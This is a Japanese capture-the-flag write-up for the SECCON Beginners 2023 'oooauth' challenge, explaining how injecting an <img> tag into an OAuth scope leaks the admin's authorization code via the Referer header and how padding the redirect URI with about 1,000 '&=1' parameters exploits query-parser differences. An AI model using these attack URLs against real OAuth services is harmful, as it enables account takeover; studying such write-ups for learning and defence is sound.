SECCON Beginners CTF 2023 writeup (oooauth)

SECCON Beginners CTF 2023 にチーム TSG として参加しました。web/hard 問題の oooauth をふぁぼんさんと協力して解いたのですが、作問者さんの想定解とちょっとだけ違ったのでその点について書きます。

ふぁぼんさんの writeup はこちら:

yuyusuki.hatenablog.com

問題の概要

OAuth2 のサーバーとクライアントが与えられます。admin というユーザーの権限を用いて GET <client>/flag のレスポンスを得ることが目標です。

攻撃の概要

攻撃の大まかな流れは作問者さんの想定解とほぼ同一です。ここでは端的な説明に留め、詳細は作問者の yuasa さんによる writeup にお譲りします。

  1. <server>/auth?response_type=code&client_id=oauth-client&scopes=${encodeURIComponent('<img\tsrc="自分のサーバー">')}&redirect_uri=${encodeURIComponent('<client>/callback?error=a')} を手元で開き、guest の未使用認可コードを入手する
    • ここで scope に仕込んだ <img\tsrc="自分のサーバー"> が、のちに admin の開く画面にインジェクションされる
  2. report 機能を用いて、admin crawler に <server>/auth?response_type=code&client_id=oauth-client&scopes=hoge&redirect_uri=${encodeURIComponent('<client>/callback?code=さっき手に入れたguestの認可コード&'+Array(999).fill('=1').join('&'))} を開いてもらう
    • コールバック画面にインジェクションされた <img\tsrc="自分のサーバー"> によって、admin crawler は自分のサーバーへリクエストを送信し、その Referer ヘッダーには admin の認可コードが記載されている
  3. <client>/callback?code=リークしたadminの認可コード を手元で開く
  4. admin としてログインできたので <client>/flag を開くと flag が手に入る

yuasa さんの解法と異なるのは、2. で与えた redirect_uri です。

このパラメータを細工する目的は yuasa さんの解法と同一です。認可コードは一度使用すると無効化されてしまうため、admin crawler がページを開いた段階で admin の認可コードが消費されてしまうのを妨害する必要があります。そのために、admin crawler がページを開いたときに消費する認可コードとして、admin の認可コードではなく攻撃者が redirect_uri に仕込んだ guest の認可コードが選ばれるようにすることを考えます。ただし redirect_uri を単純に <client>/callback?code=GUEST_CODE のようにすると、admin crawler が開くコールバックページは <client>/callback?code=GUEST_CODE&code=ADMIN_CODE となり、token endpoint が code の末尾要素を選ぶ実装になっているために admin の認可コードが消費されてしまいます。そこで、クエリパラメータのパーサーの挙動を利用してこの状況を回避します。ここまでは yuasa さんの解法と同一です。

3 つのパーサーの挙動の違いを利用した認可コードのすり替え

私が使用したクエリパラメータは ?code=GUEST_CODE&=1&=1&...&=1 という形式となっています。これは、express がクエリパラメータのパースに用いる qs ライブラリが、デフォルトで 1001 個目以降のパラメータを無視する仕様を利用したペイロードです。admin crawler が開くコールバックページの URL は <client>/callback?code=GUEST_CODE&=1&=1&...&=1&code=ADMIN_CODE となりますが、大量のダミーパラメータを足したことにより、末尾の code=ADMIN_CODE が無視されてクエリパラメータのパース結果は { "code": "GUEST_CODE" } となります。これにより、admin の認可コードを消費させずに代わりに guest の認可コードを消費させることができます。

ダミーパラメータ &=1 はパラメータ名が空文字列となっていますが、これには意図があります。代わりに &a=1 をダミーパラメータとして使うと、nginx で upstream sent too big header while reading response header from upstream というエラーが発生し、502 Bad Gateway レスポンスが返ります。これは、<server>/approve が返す 302 Found レスポンスの Location ヘッダー <client>/callback?code=GUEST_CODE&a=1...&a=1&code=ADMIN_CODE が長すぎて、nginx の proxy_buffer_size (デフォルトで 4k) を超えてしまうためです。Location ヘッダーを含めたレスポンスヘッダーを 4000 バイトにおさめるには、ダミーパラメータ 1 つあたり3文字以内にする必要があります。

3文字以内に収めるために本解法ではパラメータ名を空にして &=1 を利用しましたが、逆にパラメータ値を空にした &a=ペイロードに使うと、今度は <server>/token で PayloadTooLargeError: too many parameters というエラーが発生します。

ここで起きている事象を説明します。「1001 個目以降のパラメータを無視する」という qs の仕様により &code=ADMIN_TOKEN を無視することはできたのですが、<client>/callback<server>/token にリクエストする際に、クエリパラメータに &grant_type=authorization_code&redirect_uri=<client>%2Fcallback を追加します。従って <server>/token に送信されるリクエストボディは code=GUEST_TOKEN&a%5B%5D=&...&a%5B%5D=&grant_type=authorization_code&redirect_uri=<client>%2Fcallback となり、パラメータ数は 1002 です。ちなみに server はリクエストボディをパースするのに bodyParser.urlencoded({ extended: true }) を用いています。これは内部的に qs を利用しているのですが、qs を呼び出す前にパラメータ数が多すぎないかどうかを検証しています。具体的には、リクエストボディに出現する & を数え、1000 を超える場合には例外を投げます。先程の PayloadTooLargeError: too many parameters エラーはこれが原因です。

    // body-parser/lib/types/urlencoded.js#L147-L154
    var paramCount = parameterCount(body, parameterLimit)

    if (paramCount === undefined) {
      debug('too many parameters')
      throw createError(413, 'too many parameters', {
        type: 'parameters.too.many'
      })
    }

Satoooon さんの writeup では、redirect_uri 中のクエリパラメータにあらかじめ grant_type 及び redirect_uri パラメータを入れておくことにより、前述したパラメータ数の増加を防いでいます。なるほど確かに 😇

話を戻すと、本解法で用いた &=1 は、この制約を突破することができます。これについて、callback のクエリパラメータが処理される過程に沿って説明します。

まず <server>/approve において、攻撃者が与えた redirect_urinew URL を用いてパースされます。クエリパラメータのパースには組み込みの URLSearchParams が用いられます。?code=GUEST_CODE&=1&=1&...&=1 をパースした結果は URLSearchParams { 'code' => 'GUEST_CODE', '' => '1', '' => '1', ... } となります。これに対し server は admin の認可コードを .append し、redirectUrl.searchParamsURLSearchParams { 'code' => 'GUEST_CODE', '' => '1', '' => '1', ..., 'code' => 'ADMIN_CODE' } となります。その結果、admin crawler は <client>/callback?code=GUEST_CODE&=1&...&=1&code=ADMIN_CODE にリダイレクトされます。

次に <client>/callback の処理を考えます。client は qs ライブラリを用いてクエリパラメータをパースし、params 変数に格納します。これはリクエストボディではなく URL 中のクエリパラメータなので、パースに用いられるのは前述の body-parser ではなく、express/lib/middleware/query.js です。このミドルウェアは body-parser と違いパラメータの個数チェックをせず、そのまま qs ライブラリを呼び出します。そのため、<client>/callback では too many parameters エラーが発生しません。

話を戻すと、params 変数に格納されたパース結果は { "code": "GUEST_CODE" } となります。1001 個目以降のパラメータを無視する qs の仕様により、末尾の code=ADMIN_CODE が無視されます。また、qs はパラメータ名が空文字列になっているものを無視するので、ダミーパラメータ &=1 も無視されます。この paramsgrant_typeredirect_uri を追加した結果、 <server>/token に送信されるリクエストボディは code=GUEST_CODE&grant_type=authorization_code&redirect_uri=<client>%2Fcallback となります。このパラメータ数は 3 なので、<server>/token では too many parameters エラーが発生せず、guest の認可コードを消費させることができます。

ちなみに、ダミーパラメータとして &=&=&=... を使うことも可能です。一方で、&&&... では攻撃が成立しませんでした。&&&... のような空のパラメータは URLSearchParams に無視されてしまうため、<server>/approve でリダイレクト先を生成する時点でダミーパラメータが除去されてしまい、<client>/callback?code=GUEST_CODE&code=ADMIN_CODE にリダイレクトされてしまうのです。

というわけで、3 種類のクエリパラメータパーサー (URLSearchParams, express/lib/middleware/query.js , body-parser) の挙動の差異を利用することで、admin の認可コードの代わりに guest の認可コードを消費させることができました。

おわりに

非常に面白い問題でした。個々の脆弱性単体ではフラグを取れそうにないのにも関わらず、うまく組み合わせると見事に解けるところが美しいと思っています。

  • CSRF 対策がないけど、crawler に guest としてログインさせたところで何ができる?
  • HTML エスケープしてないけど、CSP のせいで XSS できない
  • Referer から認可コードを取得できたけど、リクエストが来た時点で認可コードが使用済み
  • コールバック画面をエラーにすれば認可コードが消費されないが、エラー画面では HTML injection もできない

こんな感じだったのでずっとウンウン唸っていたのですが、なんとか解けてよかったです。

また、想定解 code[2]=guest-code&code=hoge&code=admin-code を見てびっくりしました。 code[2]=guest-code&code[0]=hoge&code=admin-code とかは試したんですが…。qs ソースコード読み力が足りていませんでした 😔

ちなみに、server で access_tokens 変数が Map 型なのに access_tokens[access_token_value] のようにプロパティアクセスをしているとか、client/views/index.ejs が使っている jQuery と Bootstrap のバージョンがかなり古くて既知の脆弱性が色々あるとかも気になったんですが、うまく攻撃に繋げられませんでした。他の方の writeup を楽しみにしています。